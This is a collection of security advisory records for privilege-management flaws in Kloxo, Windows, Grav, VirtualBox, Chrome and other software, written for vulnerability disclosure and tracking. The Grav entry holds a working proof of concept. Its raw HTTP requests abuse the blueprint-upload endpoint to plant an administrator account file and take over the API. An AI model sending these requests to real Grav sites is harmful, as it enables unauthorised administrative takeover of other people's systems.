CWE-269

{
  "affected": [],
  "aliases": [
    "CVE-2012-10022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-01T21:15:25Z",
    "severity": "HIGH"
  },
  "details": "Kloxo versions 6.1.12 and earlier contain two setuid root binaries\u2014lxsuexec and lxrestart\u2014that allow local privilege escalation from uid 48. The lxsuexec binary performs a uid check and permits execution of arbitrary commands as root if the invoking user matches uid 48. This flaw enables attackers with Apache-level access to escalate privileges to root without authentication.",
  "id": "GHSA-6xj5-fx7c-xvcj",
  "modified": "2025-08-01T21:31:06Z",
  "published": "2025-08-01T21:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-10022"
    },
    {
      "type": "WEB",
      "url": "https://github.com/KloxoNGCommunity/kloxo"
    },
    {
      "type": "WEB",
      "url": "https://kloxo.org"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/local/kloxo_lxsuexec.rb"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20121122063935/http://roothackers.net/showthread.php?tid=92"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/25406"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/kloxo-local-priv-esc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-16892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-16T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "An elevation of privilege vulnerability exists in the way that the Windows kernel image handles objects in memory.An attacker who successfully exploited the vulnerability could execute code with elevated permissions.To exploit the vulnerability, a locally authenticated attacker could run a specially crafted application.The security update addresses the vulnerability by ensuring the Windows kernel image properly handles objects in memory., aka \u0027Windows Image Elevation of Privilege Vulnerability\u0027.",
  "id": "GHSA-6xmg-694r-qxfg",
  "modified": "2023-12-31T21:30:22Z",
  "published": "2022-05-24T17:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-16892"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16892"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-14836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-02T00:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Subrion 4.2.1 is vulnerable to Improper Access control because user groups not having access to the Admin panel are able to access it (but not perform actions) if the Guests user group has access to the Admin panel.",
  "id": "GHSA-6xpx-3cj9-qcrv",
  "modified": "2022-05-13T01:50:02Z",
  "published": "2022-05-13T01:50:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/intelliants/subrion/issues/762"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-2908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-15T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are Prior to 5.2.40, prior to 6.0.20 and prior to 6.1.6. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.0 Base Score 8.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).",
  "id": "GHSA-6xq2-jg23-w9hh",
  "modified": "2022-05-24T17:15:08Z",
  "published": "2022-05-24T17:15:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-2908"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202101-09"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-501"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-11635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-16T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Zscaler Client Connector prior to 3.1.0 did not sufficiently validate RPC clients, which allows a local adversary to execute code with system privileges or perform limited actions for which they did not have privileges.",
  "id": "GHSA-6xqj-rg38-r6rr",
  "modified": "2022-05-24T17:42:17Z",
  "published": "2022-05-24T17:42:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11635"
    },
    {
      "type": "WEB",
      "url": "https://trust.zscaler.com/posts/7316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-47201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-23T21:15:08Z",
    "severity": "HIGH"
  },
  "details": "A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis vulnerability is similar to, but not identical to, CVE-2023-47200.",
  "id": "GHSA-6xwv-xr2m-rj2h",
  "modified": "2024-08-29T21:31:00Z",
  "published": "2024-01-23T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47201"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1613"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:19:21Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges.\n\nThis results in full administrative compromise of the Grav API.\n\n## Details\n\nThe vulnerability is located in the API plugin\u0027s blueprint upload flow:\n\n- `user/plugins/api/classes/Api/ApiRouter.php:261`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417`\n- `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55`\n\nThe issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target.\n\nWhen the request uses:\n\n- `destination=self@:`\n- `scope=users/anything`\n\nThe server resolves the write target to the shared account directory:\n\n```text\nuser/accounts/\n```\n\nThe upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`.\n\nThe required attacker privilege is low:\n\n```yaml\naccess:\n  api:\n    access: true\n    media:\n      write: true\n```\n\n## PoC\n\n### Step 1: Authenticate as the low-privileged API user\n\n```http\nPOST /api/v1/auth/token HTTP/1.1\nHost: 127.0.0.1:8123\nContent-Type: application/json\nConnection: close\n\n{\"username\":\"uploader\",\"password\":\"Upload123A\"}\n```\n\nExtract:\n\n```text\nUPLOADER_TOKEN = \u003caccess_token from response\u003e\n```\n\nAttachment:\n\n\u003cimg width=\"1480\" height=\"825\" alt=\"login-uploader\" src=\"https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541\" /\u003e\n\n### Step 2: Upload a malicious account YAML file\n\n```http\nPOST /api/v1/blueprint-upload HTTP/1.1\nHost: 127.0.0.1:8123\nX-API-Token: \u003cUPLOADER_TOKEN\u003e\nContent-Type: multipart/form-data; boundary=----CodexBoundaryF01\nConnection: close\n\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"destination\"\n\nself@:\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"scope\"\n\nusers/anything\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"file\"; filename=\"pwned.yaml\"\nContent-Type: text/yaml\n\nemail: attacker@example.com\nfullname: attacker\ntitle: Site Administrator\nstate: enabled\npassword: Passw0rd!123\naccess:\n  site:\n    login: true\n  api:\n    super: true\n------CodexBoundaryF01--\n```\n\nExpected result:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"pwned.yaml\",\n      \"path\": \"user/accounts/pwned.yaml\"\n    }\n  ]\n}\n```\n\nAttachment:\n\n\u003cimg width=\"1484\" height=\"797\" alt=\"upload\" src=\"https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f\" /\u003e\n\n### Step 3: Log in as the newly created account\n\n```http\nPOST /api/v1/auth/token HTTP/1.1\nHost: 127.0.0.1:8123\nContent-Type: application/json\nConnection: close\n\n{\"username\":\"pwned\",\"password\":\"Passw0rd!123\"}\n```\n\nExpected result:\n\n```json\n{\n  \"data\": {\n    \"user\": {\n      \"username\": \"pwned\",\n      \"super_admin\": true\n    }\n  }\n}\n```\n\nAttachment:\n\n\u003cimg width=\"1494\" height=\"830\" alt=\"pwned-login\" src=\"https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe\" /\u003e\n\n### Step 4: Verify privileged API access\n\n```http\nGET /api/v1/system/info HTTP/1.1\nHost: 127.0.0.1:8123\nX-API-Token: \u003cPWNED_TOKEN\u003e\nConnection: close\n```\n\nExpected result:\n\nThe request succeeds and returns system-level information.\n\nAttachment:\n\n\u003cimg width=\"1480\" height=\"831\" alt=\"system-info\" src=\"https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2\" /\u003e\n\n## Impact\n\nThis is an authenticated vertical privilege-escalation vulnerability.\n\nAny API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can:\n\n- modify content\n- alter configuration\n- manage users\n- install or update plugins/themes\n- access system-level administration features\n\nIn a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.\n\nThis issue was reproduced locally:\n\n- the upload response returned `user/accounts/pwned.yaml`\n- logging in as `pwned` succeeded\n- the new account had `super_admin = true`\n- privileged endpoints such as `/api/v1/system/info` were accessible",
  "id": "GHSA-6xx2-m8wv-756h",
  "modified": "2026-05-13T16:41:19Z",
  "published": "2026-05-06T21:19:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42844"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-api/commit/97fc02844a35f743dfe93d34efd92d47eedd5bc5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Low-privileged Grav API users can create super-admin accounts via blueprint-upload"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-22733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-26T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Privilege Management vulnerability exists in homeLYnk (Wiser For KNX) and spaceLYnk V2.60 and prior which could cause shell access when unauthorized code is loaded into the system folder.",
  "id": "GHSA-6xx3-j36r-9j4v",
  "modified": "2022-05-24T19:03:18Z",
  "published": "2022-05-24T19:03:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22733"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-130-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-9892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T23:16:47Z",
    "severity": "HIGH"
  },
  "details": "Inappropriate implementation in Skia in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)",
  "id": "GHSA-6xx9-x287-3539",
  "modified": "2026-05-29T18:31:23Z",
  "published": "2026-05-29T00:38:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9892"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/513948178"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-10550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-30T04:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Octopus Deploy before 2018.4.7, target and tenant tag variable scopes were not checked against the list of tenants the user has access to.",
  "id": "GHSA-7255-8c86-7v27",
  "modified": "2022-05-13T01:48:50Z",
  "published": "2022-05-13T01:48:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10550"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OctopusDeploy/Issues/issues/4454"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}